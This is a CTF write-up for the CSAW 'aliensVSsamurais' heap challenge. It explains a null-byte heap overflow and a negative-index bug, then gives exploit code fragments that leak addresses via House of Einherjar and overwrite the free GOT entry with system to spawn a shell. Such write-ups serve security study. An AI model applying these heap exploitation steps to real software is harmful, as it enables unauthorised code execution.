Challenge: aliensVSsamurais libc

Reversing

$ file aliensVSsamurais
aliensVSsamurais: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=226c2e3531a2eb42de6f75a31e307146
d23f990e, not stripped
$ checksec aliensVSsamurais
 Arch:     amd64-64-little
 RELRO:    Partial RELRO
 Stack:    Canary found
 NX:       NX enabled
 PIE:      PIE enabled

Quickly firing up IDA we can find below functionalities of challenge binary.

function dojo

  • Allocate samurais and their weapon name of fixed 7 bytes length swords (option 1)
  • Free samurais and swords (option 2)
  • Move on to hatchery function (option 3)

Just after dojo function binary saves __malloc_hook and __free_hook values in global variable (discussed afterwards)

function hatchery

  • Allocate aliens and their names of variable length specified by us. Here before mallocing anything binary checks if __malloc_hook has been modified and will continue to proceed only if hook is not changed. (option 1)
  • Free aliens and their names. Here before freeing anything binary checks if __free_hook has been modified and will continue to proceed only if hook is not changed. (option 2)
  • Change an aliens name with a new name of fixed 8 bytes length, this function also prints the previous name of the alien (option 3)
  • Move on to invasion function (option 4)

function invasion

  • Frees allocated samurais and aliens
  • Decides who won, samurais or aliens ? <– not so relevant lol

Bug Hunting

Now there are two bugs in this challenge binary and at least (lol) two ways to solve this challenge.

Single Null Byte Heap Overflow

If we see closely, while allocating aliens name, length of input taken and copied into names memory is same as length name specified by users and then a null byte is append to name. Hence we get a null byte overflow. This is the bug I exploited during the CTF.

Null Byte Heap Overflow

Loose Checks on Index

While Renaming an alien, binary asks us the index of the alien for which we want to change name. There are no checks to handle negative values of index which in this case results in arbitrary write and results in a different exploitation approach which can be found in writeup by 0n3m4ns4rmy.

Alien Index

Exploitation

In this section I will be explaining my exploit code, so if you want to just look at that here it is.

Now I have made a post about how to exploit Null byte heap overflow before but what makes this challenge interesting is that challenge binary has got checks on __malloc_hook and __free_hook. So by normal way if we try to do a fast-bin attack to overwrite __malloc_hook. We will not be able to execute malloc afterwards. But still exploitation is possible. As we see in checksec results that binary does not have Full RELRO (RELocation Read-Only) enabled, we can overwrite GOT entries to get code execution.

Leaking Libc

Our challenge binary has PIE (Position Independent Executables) enabled which will randomize process layout in memory. So in order to overwrite GOT entries we need to leak address of ELF. But we cannot do that directly. So we will start by leaking libc address.

To find libc leak we will perform heap magic aka House of Einherjar. According to this, if we overflow a null byte in the next chunk (which is a smallbin, lets call it target_sb) from exploit_fb (chunk that we use to overflow target_sb). This will cause target_sbs prev_in_use bit to be cleared and also we specify a fake prev_size larger than exploit_fb. Now when the target_sb is freed, it will find that prev_in_use bit is cleared and will merge with a fake chunk calculated by prev_size. This will be creating a fake_sb. fake_sb will be overlapping our exploit_fb.
Now new allocations can be requested from fake_sb. Here we allocate calculated bytes from fake_sb so that after allocation, part of fake_sb chunk remaining free will be having same address as our exploit_fb. Now we have one free chunk and one allocated chunk both at same heap address so we can use allocated chunk to print (leak) address of forward pointer pointing to main_arena. From address of main_arena we can calculate address of libc base.

Enough of theory rambling, Now I will try to explain my exploit to get libc leak.

# allocating 5 samurai
alloc_s()
alloc_s()
alloc_s()
alloc_s()
alloc_s()
# deleting 4 samurai
delete_s(0)
delete_s(1)
delete_s(2)
delete_s(3)
# moving on to hatchery
exit_s()

In our challenge, alien structure that we will be using for our exploitation is like address_of_alien_name|hardcoded_value_256
and of fixed size 0x20 (including heap metadata). We need at least 0x100 byte of heap chunk to perform House of Einherjar so we need alien name chunks. But the problem is alien and name structs are will be alongside together in normal scenarios. In order to get rid of alien chunks I allocated 4 samurai chunks and freed them so those freed chunks will be used afterward to allocate alien chunks and we can focus on exploiting name chunks. If you see I have allocated 5 samurais that is so because that will be helpful in getting a ELF leak afterwards. Bear with me for now.

alloc_a(0xf0,'A' * 0xf0)#sb1 #0
alloc_a(0x70,'B' * 0x70)#fb1 #1
alloc_a(0xf0,'C' * 0xf0)#sb2 #2
alloc_a(0x30,'D' * 0x30)#fb2 #3

delete_a(0)
delete_a(1)
# null byte heap overflow
# prev_size = 0x180
# prev_in_use = 0
alloc_a(0x78,'E' * 0x70 + p64(0x180)) #4

# first fastbin gets overlapped
delete_a(2)

alloc_a(0xf0,'F' * 0xf0) #5
#gdb.attach(r)

# libc leak
l = show_a(4)
rename_a(4, l)

libc_base = u64(l + "\x00" * 2) - libc.symbols['__malloc_hook'] - 0x68
log.info("libc : " + hex(libc_base))

First I allocated 4 chunks (smallbins and fastbins)
Note- all the chunks below are alien name
sb1 (about to be merged with sb2) | fb1 (about to be overlapped) | sb2 (about to get overflowed into by fb1) | fb2
Delete first two, then allocate fb1 again to overflow null byte into next sb2 and put a fake prev_size of 0x180. Then we delete sb2, so it will see that previous chunk is free base on its prev_in_use being cleared. It will go back prev_size in memory to find previous chunk and will be merged with it. This will create a fake chunk of 0x280 bytes that will be overlapping our allocated fb1.
Now we allocate a chunk of 0x100 from fake chunk so that new free chunk remaining will have the same address as our fb1. Here we can make use of rename functionality of binary to leak the address of main_arena and hence libc_base. If you see I renamed it again to same value that I leaked, just so to prevent any unintentional behavior.

Leaking Heap and ELF

Yes I know we want to find ELF leak why am I trying to get heap address? There is a reason.

Whats happening?

  • We want to leak ELF address
  • Samurai sword names are stored on .bss
  • Address of sword names are stored on heap in samurai structure
  • An address of heap is in alien pointing to alien’s name

What to do?

  • Leak heap address of name by having an overlap of name (of alien 1) and alien (alien 2) struct and calling rename functionality on alien 1
  • Calculate address of samurais structure using heap leak
  • Put the address of samurai in alien 2 by calling rename on alien 1
  • Now call rename on alien 1 to leak address of sword which is our ELF leaked
# get the 0x280 byte chunk
delete_a(5)

alloc_a(0x80, "G" * 0x80) #6
alloc_a(0x60, 'H' * 0x60) #7
alloc_a(0x40, 'I' * 0x40) #8

# leak heap
l = show_a(4)
heap_base = u64(l + "\x00" * 2) - 0x15f0
rename_a(4, p64(heap_base + 0x14b0))
log.info("heap_base: 0x{:x}".format(heap_base))
#gdb.attach(r)

# leak elf
l = show_a(8)
rename_a(8, l)
elf_base = u64(l + "\x00" * 2) - 0x202720
log.info("elf_base: 0x{:x}".format(elf_base))

Here I deleted 5th chunk so that we get our full size fake chunk again. Now we do some heap feng shui to get an overlap between our fb1 (name) and an alien. To do this I allocated first 0x90 bytes then 0x70. So if we allocated anything now it will be overlapping fb1. If you remember I had arranged 4 0x20 bytes free heap chunks for alien structs so they dont interfere with my name exploitation. But as this new chunk that we will be allocating will be effectively 5th chunks (total_allocated_aliens-total_deleted_aliens == 4), It will be allocating alien also from our fake chunk and we will get an alien and name overlap. Hmm cool.

After that I just leak the heap by calling rename on 4th name meaning fb1. Use that heap leak to calculate address of samurai and put that address in alien using rename in name fb1. Leak the ELF’s .bss address by calling rename on alien.

GET RCE Already!

# getting got address on heap
l = show_a(4)
got_free = elf_base + 0x202018
rename_a(4, p64(got_free))

# overwriting got value
l = show_a(8)
rename_a(8, p64(libc_base + libc.symbols['system'])[:-1])
# passing parameter to system (free)
alloc_a(100, "/bin/sh")
delete_a(9)

r.interactive()

Now that we have ELF leak we calculate address of free GOT and use the same name & alien overlap to overwrite it with address of system. Then allocate a new alien with name as /bin/sh. So now when you free this aliens name you will be executing system("/bin/sh").
Enjoy your shell!

Thanks to CSAW for creating such fun challenge :)